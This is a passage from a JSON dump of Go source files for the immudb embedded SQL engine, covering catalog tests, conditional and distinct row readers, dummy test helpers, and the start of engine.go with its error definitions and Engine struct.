ErrIllegalArguments)\n\n\t_, err = db.newTable(\"table1\", map[uint32]*ColSpec{}, nil, 0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = db.newTable(\"table1\", map[uint32]*ColSpec{\n\t\t1: {colName: \"id\", colType: IntegerType},\n\t\t2: {colName: \"id\", colType: IntegerType},\n\t}, nil, 2)\n\trequire.ErrorIs(t, err, ErrDuplicatedColumn)\n\n\ttable, err := db.newTable(\"table1\", map[uint32]*ColSpec{\n\t\t1: {colName: \"id\", colType: IntegerType},\n\t\t2: {colName: \"title\", colType: IntegerType},\n\t}, nil, 2)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"table1\", table.Name())\n\n\t_, err = table.newColumn(&ColSpec{colName: revCol, colType: IntegerType})\n\trequire.ErrorIs(t, err, ErrReservedWord)\n\n\t_, err = table.newIndex(true, []uint32{1})\n\trequire.NoError(t, err)\n\n\ttables := db.GetTables()\n\trequire.Len(t, tables, 1)\n\trequire.Equal(t, table.Name(), tables[0].Name())\n\n\ttable1, err := db.GetTableByID(1)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"table1\", table1.Name())\n\n\t_, err = db.GetTableByName(\"table1\")\n\trequire.NoError(t, err)\n\n\t_, err = db.GetTableByID(2)\n\trequire.ErrorIs(t, err, ErrTableDoesNotExist)\n\n\t_, err = db.newTable(\"table1\", map[uint32]*ColSpec{\n\t\t1: {colName: \"id\", colType: IntegerType},\n\t\t2: {colName: \"title\", colType: IntegerType},\n\t}, nil, 2)\n\trequire.ErrorIs(t, err, ErrTableAlreadyExists)\n\n\tindexed, err := table.IsIndexed(\"id\")\n\trequire.NoError(t, err)\n\trequire.True(t, indexed)\n\n\t_, err = table.IsIndexed(\"id1\")\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\tpk := table.PrimaryIndex()\n\trequire.NotNil(t, pk)\n\trequire.Len(t, pk.cols, 1)\n\trequire.Equal(t, pk.cols[0].colName, \"id\")\n\trequire.Equal(t, pk.cols[0].colType, IntegerType)\n\n\tc, err := table.GetColumnByID(1)\n\trequire.NoError(t, err)\n\trequire.Equal(t, c.Name(), \"id\")\n\n\tc, err = table.GetColumnByID(2)\n\trequire.NoError(t, err)\n\trequire.Equal(t, c.Name(), \"title\")\n\n\t_, err = table.GetColumnByID(3)\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n\n\t_, err = table.newIndex(true, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = table.newIndex(true, []uint32{1, 2, 1})\n\trequire.ErrorIs(t, err, ErrDuplicatedColumn)\n\n}\n\nfunc TestEncodeRawValueAsKey(t *testing.T) {\n\tt.Run(\"encoded int keys should preserve lex order\", func(t *testing.T) {\n\t\tvar prevEncKey []byte\n\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tencKey, n, err := EncodeRawValueAsKey(int64(i), IntegerType, 8)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Greater(t, encKey, prevEncKey)\n\t\t\trequire.Equal(t, 8, n)\n\n\t\t\tprevEncKey = encKey\n\t\t}\n\t})\n\n\tt.Run(\"encoded varchar keys should preserve lex order\", func(t *testing.T) {\n\t\tvar prevEncKey []byte\n\n\t\tfor _, v := range []string{\"key1\", \"key11\", \"key2\", \"key3\"} {\n\t\t\tencKey, n, err := EncodeRawValueAsKey(v, VarcharType, 10)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Greater(t, encKey, prevEncKey)\n\t\t\trequire.Equal(t, len(v), n)\n\n\t\t\tprevEncKey = encKey\n\t\t}\n\t})\n}\n\nfunc TestCatalogTableLength(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\ttotalTablesCount := uint32(0)\n\n\tfor _, v := range []string{\"table1\", \"table2\", \"table3\"} {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t`\n\t\t\tCREATE TABLE `+v+` (\n\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\tPRIMARY KEY(id)\n\t\t\t)`, nil)\n\t\trequire.NoError(t, err)\n\t\ttotalTablesCount++\n\t}\n\n\tt.Run(\"table count should be 3 on catalog reload\", func(t *testing.T) {\n\t\tfor i := 0; i < 3; i++ {\n\t\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer tx.Cancel()\n\n\t\t\trequire.Equal(t, totalTablesCount, tx.catalog.maxTableID)\n\t\t}\n\t})\n\n\tt.Run(\"table count should not increase on adding existing table\", func(t *testing.T) {\n\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tx.Cancel()\n\t\tcatlog := tx.catalog\n\n\t\tfor _, v := range []string{\"table1\", \"table2\", \"table3\"} {\n\t\t\t_, err := catlog.newTable(v, map[uint32]*ColSpec{\n\t\t\t\t1: {colName: \"id\", colType: IntegerType},\n\t\t\t}, nil, 1)\n\t\t\trequire.ErrorIs(t, err, ErrTableAlreadyExists)\n\t\t}\n\t\trequire.Equal(t, totalTablesCount, catlog.maxTableID)\n\t})\n\n\tt.Run(\"table count should increase on using newTable function on catalog\", func(t *testing.T) {\n\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tx.Cancel()\n\t\tcatlog := tx.catalog\n\n\t\tfor _, v := range []string{\"table4\", \"table5\", \"table6\"} {\n\t\t\t_, err := catlog.newTable(v, map[uint32]*ColSpec{\n\t\t\t\t1: {colName: \"id\", colType: IntegerType},\n\t\t\t}, nil, 1)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t\trequire.Equal(t, totalTablesCount+3, catlog.maxTableID)\n\t})\n\n\tt.Run(\"table count should increase on adding new table\", func(t *testing.T) {\n\t\tfor _, v := range []string{\"table4\", \"table5\", \"table6\"} {\n\t\t\t_, _, err = engine.Exec(\n\t\t\t\tcontext.Background(), nil,\n\t\t\t\t`\n\t\t\t\tCREATE TABLE `+v+` (\n\t\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\t\tPRIMARY KEY(id)\n\t\t\t\t)`, nil)\n\t\t\trequire.NoError(t, err)\n\t\t\ttotalTablesCount++\n\t\t}\n\t})\n\n\tt.Run(\"table count should not decrease on dropping table\", func(t *testing.T) {\n\t\tdeleteTables := []string{\"table1\", \"table2\", \"table3\"}\n\t\tactiveTables := []string{\"table4\", \"table5\", \"table6\"}\n\t\tfor _, v := range deleteTables {\n\t\t\t_, _, err := engine.ExecPreparedStmts(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t[]SQLStmt{\n\t\t\t\t\tNewDropTableStmt(v), // delete collection from catalog\n\t\t\t\t},\n\t\t\t\tnil,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tx.Cancel()\n\t\tcatlog := tx.catalog\n\n\t\t// ensure that catalog has been reloaded with deleted table count\n\t\trequire.Equal(t, totalTablesCount, catlog.maxTableID)\n\n\t\tfor _, v := range activeTables {\n\t\t\trequire.True(t, catlog.ExistTable(v))\n\t\t}\n\n\t\tfor _, v := range deleteTables {\n\t\t\trequire.False(t, catlog.ExistTable(v))\n\t\t}\n\t})\n\n\tt.Run(\"adding new table should increase table count\", func(t *testing.T) {\n\t\ttableName := \"table7\"\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t`\n\t\t\t\tCREATE TABLE `+tableName+` (\n\t\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\t\tPRIMARY KEY(id)\n\t\t\t\t)`, nil)\n\t\trequire.NoError(t, err)\n\t\ttotalTablesCount++\n\n\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tx.Cancel()\n\t\tcatlog := tx.catalog\n\n\t\ttab, err := catlog.GetTableByName(tableName)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, totalTablesCount, tab.id)\n\n\t\ttab, err = catlog.GetTableByID(7)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, totalTablesCount, tab.id)\n\n\t\t_, err = tab.GetIndexByName(\"invalid_index\")\n\t\trequire.ErrorIs(t, err, ErrIndexNotFound)\n\t})\n\n\tt.Run(\"cancelling a transaction should not increase table count\", func(t *testing.T) {\n\t\t// create a new transaction\n\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\tsql := `\n\t\tCREATE TABLE table10 (\n\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\tPRIMARY KEY(id)\n\t\t)\n\t\t`\n\t\tstmts, err := ParseSQL(strings.NewReader(sql))\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 1, len(stmts))\n\t\tstmt := stmts[0]\n\n\t\t// execute the create table statement\n\t\tstx, err := stmt.execAt(context.Background(), tx, nil)\n\t\trequire.NoError(t, err)\n\n\t\t// cancel the transaction instead of committing it\n\t\trequire.Equal(t, totalTablesCount+1, stx.catalog.maxTableID)\n\t\trequire.NoError(t, stx.Cancel())\n\n\t\t// reload a fresh catalog\n\t\ttx, err = engine.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\t\tdefer tx.Cancel()\n\t\tcatlog := tx.catalog\n\n\t\t// table count should not increase\n\t\trequire.Equal(t, totalTablesCount, catlog.maxTableID)\n\t})\n\n}\n"
  },
  {
    "path": "embedded/sql/cond_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"fmt\"\n)\n\ntype conditionalRowReader struct {\n\trowReader RowReader\n\n\tcondition ValueExp\n}\n\nfunc newConditionalRowReader(rowReader RowReader, condition ValueExp) *conditionalRowReader {\n\treturn &conditionalRowReader{\n\t\trowReader: rowReader,\n\t\tcondition: condition,\n\t}\n}\n\nfunc (cr *conditionalRowReader) onClose(callback func()) {\n\tcr.rowReader.onClose(callback)\n}\n\nfunc (cr *conditionalRowReader) Tx() *SQLTx {\n\treturn cr.rowReader.Tx()\n}\n\nfunc (cr *conditionalRowReader) TableAlias() string {\n\treturn cr.rowReader.TableAlias()\n}\n\nfunc (cr *conditionalRowReader) Parameters() map[string]interface{} {\n\treturn cr.rowReader.Parameters()\n}\n\nfunc (cr *conditionalRowReader) OrderBy() []ColDescriptor {\n\treturn cr.rowReader.OrderBy()\n}\n\nfunc (cr *conditionalRowReader) ScanSpecs() *ScanSpecs {\n\treturn cr.rowReader.ScanSpecs()\n}\n\nfunc (cr *conditionalRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn cr.rowReader.Columns(ctx)\n}\n\nfunc (cr *conditionalRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn cr.rowReader.colsBySelector(ctx)\n}\n\nfunc (cr *conditionalRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\terr := cr.rowReader.InferParameters(ctx, params)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcols, err := cr.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = cr.condition.inferType(cols, params, cr.TableAlias())\n\n\treturn err\n}\n\nfunc (cr *conditionalRowReader) Read(ctx context.Context) (*Row, error) {\n\tfor {\n\t\trow, err := cr.rowReader.Read(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcond, err := cr.condition.substitute(cr.Parameters())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: when evaluating WHERE clause\", err)\n\t\t}\n\n\t\tr, err := cond.reduce(cr.Tx(), row, cr.rowReader.TableAlias())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: when evaluating WHERE clause\", err)\n\t\t}\n\n\t\tnval, isNull := r.(*NullValue)\n\t\tif isNull && nval.Type() == BooleanType {\n\t\t\tcontinue\n\t\t}\n\n\t\tsatisfies, boolExp := r.(*Bool)\n\t\tif !boolExp {\n\t\t\treturn nil, fmt.Errorf(\"%w: expected '%s' in WHERE clause, but '%s' was provided\", ErrInvalidCondition, BooleanType, r.Type())\n\t\t}\n\n\t\tif satisfies.val {\n\t\t\treturn row, nil\n\t\t}\n\t}\n}\n\nfunc (cr *conditionalRowReader) Close() error {\n\treturn cr.rowReader.Close()\n}\n"
  },
  {
    "path": "embedded/sql/cond_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestConditionalRowReader(t *testing.T) {\n\tdummyr := &dummyRowReader{failReturningColumns: true}\n\n\trowReader := newConditionalRowReader(dummyr, &Bool{val: true})\n\n\t_, err := rowReader.Columns(context.Background())\n\trequire.ErrorIs(t, err, errDummy)\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.ErrorIs(t, err, errDummy)\n\n\tdummyr.failInferringParams = true\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.ErrorIs(t, err, errDummy)\n}\n"
  },
  {
    "path": "embedded/sql/distinct_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n)\n\ntype distinctRowReader struct {\n\trowReader RowReader\n\tcols      []ColDescriptor\n\n\treadRows map[[sha256.Size]byte]struct{}\n}\n\nfunc newDistinctRowReader(ctx context.Context, rowReader RowReader) (*distinctRowReader, error) {\n\tcols, err := rowReader.Columns(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &distinctRowReader{\n\t\trowReader: rowReader,\n\t\tcols:      cols,\n\t\treadRows:  make(map[[sha256.Size]byte]struct{}),\n\t}, nil\n}\n\nfunc (dr *distinctRowReader) onClose(callback func()) {\n\tdr.rowReader.onClose(callback)\n}\n\nfunc (dr *distinctRowReader) Tx() *SQLTx {\n\treturn dr.rowReader.Tx()\n}\n\nfunc (dr *distinctRowReader) TableAlias() string {\n\treturn dr.rowReader.TableAlias()\n}\n\nfunc (dr *distinctRowReader) Parameters() map[string]interface{} {\n\treturn dr.rowReader.Parameters()\n}\n\nfunc (dr *distinctRowReader) OrderBy() []ColDescriptor {\n\treturn dr.rowReader.OrderBy()\n}\n\nfunc (dr *distinctRowReader) ScanSpecs() *ScanSpecs {\n\treturn dr.rowReader.ScanSpecs()\n}\n\nfunc (dr *distinctRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn dr.rowReader.Columns(ctx)\n}\n\nfunc (dr *distinctRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn dr.rowReader.colsBySelector(ctx)\n}\n\nfunc (dr *distinctRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\treturn dr.rowReader.InferParameters(ctx, params)\n}\n\nfunc (dr *distinctRowReader) Read(ctx context.Context) (*Row, error) {\n\tfor {\n\t\tif len(dr.readRows) == dr.rowReader.Tx().distinctLimit() {\n\t\t\treturn nil, ErrTooManyRows\n\t\t}\n\n\t\trow, err := dr.rowReader.Read(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdigest, err := row.digest(dr.cols)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t_, ok := dr.readRows[digest]\n\t\tif ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tdr.readRows[digest] = struct{}{}\n\n\t\treturn row, nil\n\t}\n}\n\nfunc (dr *distinctRowReader) Close() error {\n\treturn dr.rowReader.Close()\n}\n"
  },
  {
    "path": "embedded/sql/distinct_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDistinctRowReader(t *testing.T) {\n\tdummyr := &dummyRowReader{failReturningColumns: false}\n\n\tdummyr.failReturningColumns = true\n\t_, err := newDistinctRowReader(context.Background(), dummyr)\n\trequire.ErrorIs(t, err, errDummy)\n\n\tdummyr.failReturningColumns = false\n\n\trowReader, err := newDistinctRowReader(context.Background(), dummyr)\n\trequire.NoError(t, err)\n\trequire.Equal(t, dummyr.TableAlias(), rowReader.TableAlias())\n\trequire.Equal(t, dummyr.OrderBy(), rowReader.OrderBy())\n\trequire.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs())\n\n\trequire.Nil(t, rowReader.Tx())\n\n\t_, err = rowReader.colsBySelector(context.Background())\n\trequire.ErrorIs(t, err, errDummy)\n\n\tdummyr.failReturningColumns = true\n\t_, err = rowReader.Columns(context.Background())\n\trequire.ErrorIs(t, err, errDummy)\n\n\trequire.Nil(t, rowReader.Parameters())\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.NoError(t, err)\n\n\tdummyr.failInferringParams = true\n\n\terr = rowReader.InferParameters(context.Background(), nil)\n\trequire.ErrorIs(t, err, errDummy)\n}\n"
  },
  {
    "path": "embedded/sql/dummy_data_source_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n\thttps://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage sql\n\nimport (\n\t\"context\"\n)\n\ntype dummyDataSource struct {\n\tinferParametersFunc func(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error\n\tResolveFunc         func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error)\n\tAliasFunc           func() string\n}\n\nfunc (d *dummyDataSource) readOnly() bool {\n\treturn true\n}\n\nfunc (d *dummyDataSource) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeSelect}\n}\n\nfunc (d *dummyDataSource) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\treturn tx, nil\n}\n\nfunc (d *dummyDataSource) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn d.inferParametersFunc(ctx, tx, params)\n}\n\nfunc (d *dummyDataSource) Resolve(ctx context.Context, tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) {\n\treturn d.ResolveFunc(ctx, tx, params, scanSpecs)\n}\n\nfunc (d *dummyDataSource) Alias() string {\n\treturn d.AliasFunc()\n}\n"
  },
  {
    "path": "embedded/sql/dummy_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"errors\"\n)\n\nvar errDummy = errors.New(\"dummy error\")\n\ntype dummyRowReader struct {\n\tfailReturningColumns bool\n\tfailInferringParams  bool\n\tdatabase             string\n\tparams               map[string]interface{}\n\n\trecordClose                bool\n\tclosed                     bool\n\tfailSecondReturningColumns bool\n}\n\nfunc (r *dummyRowReader) onClose(callback func()) {\n}\n\nfunc (r *dummyRowReader) Tx() *SQLTx {\n\treturn nil\n}\n\nfunc (r *dummyRowReader) Database() string {\n\treturn r.database\n}\n\nfunc (r *dummyRowReader) TableAlias() string {\n\treturn \"table1\"\n}\n\nfunc (r *dummyRowReader) Read(ctx context.Context) (*Row, error) {\n\treturn nil, errDummy\n}\n\nfunc (r *dummyRowReader) Close() error {\n\tif r.recordClose {\n\t\tif r.closed {\n\t\t\treturn ErrAlreadyClosed\n\t\t}\n\t\tr.closed = true\n\t\treturn nil\n\t}\n\treturn errDummy\n}\n\nfunc (r *dummyRowReader) OrderBy() []ColDescriptor {\n\treturn nil\n}\n\nfunc (r *dummyRowReader) ScanSpecs() *ScanSpecs {\n\treturn nil\n}\n\nfunc (r *dummyRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\tif r.failReturningColumns {\n\t\treturn nil, errDummy\n\t}\n\n\tif r.failSecondReturningColumns {\n\t\t// Will fail the next time\n\t\tr.failReturningColumns = true\n\t}\n\n\treturn nil, nil\n}\n\nfunc (r *dummyRowReader) Parameters() map[string]interface{} {\n\treturn r.params\n}\n\nfunc (r *dummyRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\tif r.failInferringParams {\n\t\treturn errDummy\n\t}\n\n\treturn nil\n}\n\nfunc (r *dummyRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn nil, errDummy\n}\n"
  },
  {
    "path": "embedded/sql/engine.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\nvar (\n\tErrNoSupported                            = errors.New(\"not supported\")\n\tErrIllegalArguments                       = store.ErrIllegalArguments\n\tErrMultiIndexingNotEnabled                = fmt.Errorf(\"%w: multi-indexing must be enabled\", store.ErrIllegalState)\n\tErrParsingError                           = errors.New(\"parsing error\")\n\tErrDDLorDMLTxOnly                         = errors.New(\"transactions can NOT combine DDL and DML statements\")\n\tErrUnspecifiedMultiDBHandler              = fmt.Errorf(\"%w: unspecified multidbHanlder\", store.ErrIllegalState)\n\tErrDatabaseDoesNotExist                   = errors.New(\"database does not exist\")\n\tErrDatabaseAlreadyExists                  = errors.New(\"database already exists\")\n\tErrTableAlreadyExists                     = errors.New(\"table already exists\")\n\tErrTableDoesNotExist                      = errors.New(\"table does not exist\")\n\tErrColumnDoesNotExist                     = errors.New(\"column does not exist\")\n\tErrColumnAlreadyExists                    = errors.New(\"column already exists\")\n\tErrCannotDropColumn                       = errors.New(\"cannot drop column\")\n\tErrSameOldAndNewNames                     = errors.New(\"same old and new names\")\n\tErrColumnNotIndexed                       = errors.New(\"column is not indexed\")\n\tErrFunctionDoesNotExist                   = errors.New(\"function does not exist\")\n\tErrLimitedKeyType                         = errors.New(\"indexed key of unsupported type or exceeded length\")\n\tErrLimitedAutoIncrement                   = errors.New(\"only INTEGER single-column primary keys can be set as auto incremental\")\n\tErrLimitedMaxLen                          = errors.New(\"only VARCHAR and BLOB types support max length\")\n\tErrDuplicatedColumn                       = errors.New(\"duplicated column\")\n\tErrInvalidColumn                          = errors.New(\"invalid column\")\n\tErrInvalidCheckConstraint                 = errors.New(\"invalid check constraint\")\n\tErrCheckConstraintViolation               = errors.New(\"check constraint violation\")\n\tErrReservedWord                           = errors.New(\"reserved word\")\n\tErrNoPrimaryKey                           = errors.New(\"no primary key specified\")\n\tErrPKCanNotBeNull                         = errors.New(\"primary key can not be null\")\n\tErrPKCanNotBeUpdated                      = errors.New(\"primary key can not be updated\")\n\tErrMultiplePrimaryKeys                    = errors.New(\"multiple primary keys are not allowed\")\n\tErrNotNullableColumnCannotBeNull          = errors.New(\"not nullable column can not be null\")\n\tErrNewColumnMustBeNullable                = errors.New(\"new column must be nullable\")\n\tErrIndexAlreadyExists                     = errors.New(\"index already exists\")\n\tErrMaxNumberOfColumnsInIndexExceeded      = errors.New(\"number of columns in multi-column index exceeded\")\n\tErrIndexNotFound                          = errors.New(\"index not found\")\n\tErrConstraintNotFound                     = errors.New(\"constraint not found\")\n\tErrInvalidNumberOfValues                  = errors.New(\"invalid number of values provided\")\n\tErrInvalidValue                           = errors.New(\"invalid value provided\")\n\tErrInferredMultipleTypes                  = errors.New(\"inferred multiple types\")\n\tErrExpectingDQLStmt                       = errors.New(\"illegal statement. DQL statement expected\")\n\tErrColumnMustAppearInGroupByOrAggregation = errors.New(\"must appear in the group by clause or be used in an aggregated function\")\n\tErrIllegalMappedKey                       = errors.New(\"error illegal mapped key\")\n\tErrCorruptedData                          = store.ErrCorruptedData\n\tErrBrokenCatalogColSpecExpirable          = fmt.Errorf(\"%w: catalog column entry set as expirable\", ErrCorruptedData)\n\tErrBrokenCatalogCheckConstraintExpirable  = fmt.Errorf(\"%w: catalog check constraint set as expirable\", ErrCorruptedData)\n\tErrNoMoreRows                             = store.ErrNoMoreEntries\n\tErrInvalidTypes                           = errors.New(\"invalid types\")\n\tErrUnsupportedJoinType                    = errors.New(\"unsupported join type\")\n\tErrInvalidCondition                       = errors.New(\"invalid condition\")\n\tErrHavingClauseRequiresGroupClause        = errors.New(\"having clause requires group clause\")\n\tErrNotComparableValues                    = errors.New(\"values are not comparable\")\n\tErrNumericTypeExpected                    = errors.New(\"numeric type expected\")\n\tErrUnexpected                             = errors.New(\"unexpected error\")\n\tErrMaxKeyLengthExceeded                   = errors.New(\"max key length exceeded\")\n\tErrMaxLengthExceeded                      = errors.New(\"max length exceeded\")\n\tErrColumnIsNotAnAggregation               = errors.New(\"column is not an aggregation\")\n\tErrLimitedCount                           = errors.New(\"only unbounded counting is supported i.e. COUNT(*)\")\n\tErrTxDoesNotExist                         = errors.New(\"tx does not exist\")\n\tErrNestedTxNotSupported                   = errors.New(\"nested tx are not supported\")\n\tErrNoOngoingTx                            = errors.New(\"no ongoing transaction\")\n\tErrNonTransactionalStmt                   = errors.New(\"non transactional statement\")\n\tErrDivisionByZero                         = errors.New(\"division by zero\")\n\tErrMissingParameter                       = errors.New(\"missing parameter\")\n\tErrUnsupportedParameter                   = errors.New(\"unsupported parameter\")\n\tErrDuplicatedParameters                   = errors.New(\"duplicated parameters\")\n\tErrLimitedIndexCreation                   = errors.New(\"unique index creation is only supported on empty tables\")\n\tErrTooManyRows                            = errors.New(\"too many rows\")\n\tErrAlreadyClosed                          = store.ErrAlreadyClosed\n\tErrAmbiguousSelector                      = errors.New(\"ambiguous selector\")\n\tErrUnsupportedCast                        = fmt.Errorf(\"%w: unsupported cast\", ErrInvalidValue)\n\tErrColumnMismatchInUnionStmt              = errors.New(\"column mismatch in union statement\")\n\tErrCannotIndexJson                        = errors.New(\"cannot index column of type JSON\")\n\tErrInvalidTxMetadata                      = errors.New(\"invalid transaction metadata\")\n\tErrAccessDenied                           = errors.New(\"access denied\")\n)\n\nvar MaxKeyLen = 512\n\nconst (\n\tEncIDLen  = 4\n\tEncLenLen = 4\n)\n\nconst MaxNumberOfColumnsInIndex = 8\n\ntype Engine struct {\n\tstore *store.ImmuStore\n\n\tprefix                        []byte\n\tdistinctLimit                 int\n\tsortBufferSize                int\n\tautocommit                    bool\n\tlazyIndexConstraintValidation bool\n\tparseTxMetadata               func([]byte) (map[string]interface{}, error)\n\tmultidbHandler                MultiDBHandler\n\ttableResolvers                map[string]TableResolver\n}\n\ntype MultiDBHandler interface {\n\tListDatabases(ctx context.Context) ([]string, error)\n\tCreateDatabase(ctx context.Context, db string, ifNotExists bool) 